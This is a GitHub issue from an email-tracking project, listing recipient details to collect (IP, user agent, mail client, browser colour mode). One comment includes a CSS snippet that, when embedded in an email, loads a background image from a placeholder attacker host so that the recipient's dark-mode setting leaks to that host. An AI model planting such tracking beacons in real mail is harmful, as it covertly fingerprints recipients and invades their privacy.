Improve information gathering

ariary / SMTrackerP

🎣 Simple Mail Tracker Protocol 📬 bring back into fashion the acknowledgement of receipt

The Unlicense

8 stars 2 forks source link

Improve information gathering #1

Open ariary opened 2 years ago

ariary commented 2 years ago

[ ] for user agent treatment https://www.whatsmyua.info/
[ ] Detect light or dark browser mode
[x] Ip
[x] Parse smtp client (app, thunderbird, etc..) header

ariary commented 2 years ago

Failed to insert style in mail: (use for dark mode or light)

<style type="text/css">
@media (prefers-color-scheme: dark) {
    img {
        background: url(https://[attacker]/dark) no-repeat;
    }
}   
</style>